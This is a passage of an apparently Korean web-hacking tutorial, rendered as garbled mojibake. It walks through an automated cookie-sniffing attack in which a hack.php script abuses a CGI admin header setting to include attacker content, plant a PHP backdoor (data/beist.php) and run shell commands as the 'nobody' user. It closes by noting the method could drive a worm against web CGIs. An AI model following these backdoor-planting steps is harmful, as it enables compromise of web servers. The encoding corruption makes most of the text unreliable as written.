¹«¾ùÀΰ¡ ÀÛµ¿µÈ °Í °°½À´Ï´Ù. hack.php ÇÁ·Î±×·¥ÀÌ ÇØÄ¿°¡ ÀǵµÇÑ´ë·Î ÀÛµ¿µÇ¾ú´Ù¸é, data/head.txt ÀÇ ³»¿ëÀº ./data/beist.txt ·Î ä¿öÁ® ÀÖ¾î¾ß ÇÕ´Ï´Ù. target ¼¹ö¿¡¼ Á÷Á¢ È®ÀÎÇØº¸°Ú½À´Ï´Ù. [beist@beist auto]$ cat data/head.txt
data/head.txt ÆÄÀÏÀÌ »ý¼ºµÇ¾ú°í, ÆÄÀÏÀÇ ³»¿ëµµ ./data/beist.txt ÀÇ °ªÀÌ µÈ °ÍÀ¸·Î º¸¾Æ ¼º°øÀûÀ¸·Î ÇØÅ·ÀÌ ÀÌ·ç¾îÁø °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù.
header ÆÄÀÏÀÌ data/beist.txt ·Î ÁöÁ¤µÇ¾úÀ¸´Ï, index.html ¸¦ ¿¶§¸¶´Ù beist.txt ÆÄÀÏÀÌ include µÉ °ÍÀÔ´Ï´Ù. index.html À» »õ·Î °íħÇϸé, beist.txt ÀÇ ³»¿ëÀÌ PHP ·Î ½ÇÇàµÉ °ÍÀ̰í, ¼º°øÀûÀ¸·Î ½ÇÇàµÈ´Ù¸é data/beist.php ¹éµµ¾î ÆÄÀÏÀÌ »ý¼ºµÉ °ÍÀÔ´Ï´Ù. ¹éµµ¾î ÆÄÀÏÀÌ Á¤»óÀûÀ¸·Î ¸¸µé¾îÁ³´ÂÁö È®ÀÎÇØº¸°Ú½À´Ï´Ù. [ȸé11] http://beist.org/~beist/auto/data/beist.php?beist=id [backdoor ÆÄÀÏ]
id ¸í·É¾î·Î ½Ã½ºÅÛ¿¡ ¸í·ÉÀ» ³»·Áº» °á°ú uid 48 ÀÇ nobody ½©À» Á¤»óÀûÀ¸·Î À̿밡´ÉÇÔÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù.
|
4. ¸¶Ä¡´Â ¸» Cookie Sniffing ÀÚµ¿È °ø°Ý¿¡ ´ëÇØ¼ ¾Ë¾Æº¸¾Ò½À´Ï´Ù. À̰ÍÀº ¾ö¹ÐÈ÷ ¸»ÇÏÀÚ¸é Sniffing°ú SpoofingÀÌ °áÇÕµÈ °ÍÀÔ´Ï´Ù. ÀÌ ¹æ¹ýÀº Target ÀÇ Cookie ¸¦ ¾ðÁ¦ »©¿Ã ¼ö ÀÖÀ»Áö ¾Ë ¼ö ¾ø´Â »óȲ¿¡¼ ±â´Ù·Á¾ß ÇÒ Çʿ䰡 ¾ø´Ù´Â Á¡ÀÌ È¿°úÀûÀÌÁö¸¸, ±×·¯³ª ´ÜÁ¡µµ ÀÖ½À´Ï´Ù. À§ÀÇ ¹®¼¿¡¼ ¼³¸íÇÑ °Íó·³, hack.php ¿¡¼ Target CGI ¸¦ °ø°ÝÇϱâ À§Çؼ´Â Target CGI ÀÇ ±¸Á¶¿¡ ´ëÇØ¼ ¹Ì¸® ÆÄ¾ÇÇϰí ÀÖ¾î¾ß ÇÑ´Ù´Â °ÍÀÔ´Ï´Ù. À§ÀÇ °æ¿ì¿¡¼´Â CGI ÀÇ Admin ±â´É Áß header file À» Á¤ÀÇÇÒ ¼ö ÀÖ´Ù´Â ±â´ÉÀ» ÀÌ¿ëÇÏ¿© °ø°ÝÀ» ÇÑ °Íó·³, »ç¶÷ÀÌ Á÷Á¢ °ø°ÝÇÏ´Â ¹æ½ÄÀÌ ¾Æ´Ñ, hack.php ¿¡¼ ÀÚµ¿È °ø°ÝÀ» Çϱâ À§Çؼ´Â CGI ÀÇ ±¸Á¶¿¡ ´ëÇØ¼ ¾î´À Á¤µµ ¾Ë°í ÀÖ¾î¾ß¸¸ °ø°ÝÀ» ¼º°øÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. ±×·¸±â ¶§¹®¿¡ °ø°³µÈ CGI ÀÇ °æ¿ì¿¡´Â ¹Ì¸® ºÐ¼®À» ÅëÇÏ¿© hack.php °°Àº ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ¿© ÀÚµ¿È °ø°ÝÀ» ¼öÇàÇÒ ¼ö ÀÖ°ÚÁö¸¸ ±×·¸Áö ¾ÊÀº °æ¿ì¿¡´Â Èûµé °ÍÀÔ´Ï´Ù. ±×·¸Áö¸¸ Admin ÀÇ Password ¸¦ ¹Ù²Û´Ù°Å³ª, µî·ÏµÈ Á¤º¸¸¦ º»´Ù°Å³ª ÇÏ´Â Á¤µµÀÇ °£´ÜÇÑ ÀÛ¾÷µéÀº ±»ÀÌ Target CGI ÀÇ ±¸Á¶¸¦ ÀÚ¼¼È÷ ¸ô¶óµµ °¡´ÉÇÒ ¼ö ÀÖ½À´Ï´Ù. ÀÌ ¿Ü¿¡, Cookie Sniffing ¿¡ ¼º°øÇÏ°Ô µÇ¸é, ÇØÄ¿¿¡°Ô ÀÚµ¿À¸·Î ¸ÞÀÏÀ» º¸³»°Å³ª, ¹®ÀÚ ¸Þ¼¼Áö¸¦ º¸³»°Å³ª ÇÏ´Â ±â´ÉÀÇ ÇÁ·Î±×·¥À» ¸¸µé¾îµÎ´Â °Íµµ ÁÁÀº ¹æ¹ýÀÌ µÇ°Ú½À´Ï´Ù. ¸¶Áö¸·À¸·Î, ÀÌ ¹æ¹ýÀº ¸¹ÀÌ »ç¿ëµÇ°í Àִ ƯÁ¤ CGI ¸¦ °ø°ÝÇÒ ¶§´Â, ÀÚµ¿È °ø°ÝÀÌ À¯¿ëÇÒ ¼ö ÀÖ°ÚÁö¸¸, ±×·¡µµ ¿©·¯°¡Áö ¿ä¼ÒµéÀ» µûÁ® º¸¾ÒÀ» ¶§ ¾ÆÁÖ È¿À²ÀûÀÎ ±â¹ýÀ̶ó°í »ý°¢µÇÁø ¾Ê½À´Ï´Ù. ´Ù¸¸, ÀÌ·¯ÇÑ ¹æ¹ýÀ¸·Î °ø°ÝÀ» ÀÚµ¿ÈÇÒ ¼ö ÀÖ´Ù´Â °Í, ±×·¯¹Ç·Î Session µµ ¾ÈÀüÇÏÁö ¸øÇÏ´Ù¶ó´Â °ÍÀ» ÀÌ ¹®¼¿¡¼´Â ½Ã»çÇϰí ÀÖ½À´Ï´Ù. ¶ÇÇÑ ÀÌ ¹æ¹ýÀ» ÀÀ¿ëÇÒ °æ¿ì Web CGI¸¦ °ø°ÝÇÏ´Â ¿úµµ ½±°Ô Á¦ÀÛÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.
|